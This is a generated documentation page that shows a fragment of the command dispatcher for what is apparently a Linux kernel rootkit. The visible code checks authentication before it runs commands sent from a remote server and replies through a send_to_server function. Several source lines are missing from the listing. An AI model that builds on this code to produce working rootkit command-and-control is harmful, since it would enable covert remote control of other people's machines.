Go to the source code of this file.
◆ rootkit_command()
| int rootkit_command |
( |
char * |
command, |
|
|
unsigned |
command_size, |
|
|
enum Protocol |
protocol |
|
) |
| |
Definition at line 122 of file cmd.c.
123 {
124
126 return 0;
127 }
128
129
131
132
134 if (
command[command_size - 1] !=
'\0') {
135 ERR_MSG(
"rootkit_command: command is not null-terminated\n");
136 return -EINVAL;
137 }
138
139
140 const char *allowed_commands[] = { "connect", "help", "ping", NULL };
141
143 int allowed = 0;
144 for (int i = 0; allowed_commands[i] != NULL; i++) {
145 if (strncmp(
command, allowed_commands[i], strlen(allowed_commands[i])) == 0) {
146 allowed = 1;
147 break;
148 }
149 }
150
151 if (!allowed) {
152 send_to_server(protocol,
"Authentication required. Use the 'connect' "
153 "command to authenticate.\n");
154 ERR_MSG(
"rootkit_command: unauthorized command without authentication\n");
156 }
157 }
158
159
163 == 0) {
165 while (*args == ' ')
166 args++;
168 }
169 }
170
171
174 return -EINVAL;
175}
static struct command rootkit_commands_array[]
#define ERR_MSG(fmt, args...)
#define DBG_MSG(fmt, args...)
int send_to_server(enum Protocol protocol, char *message,...)
int(* cmd_handler)(char *args, enum Protocol protocol)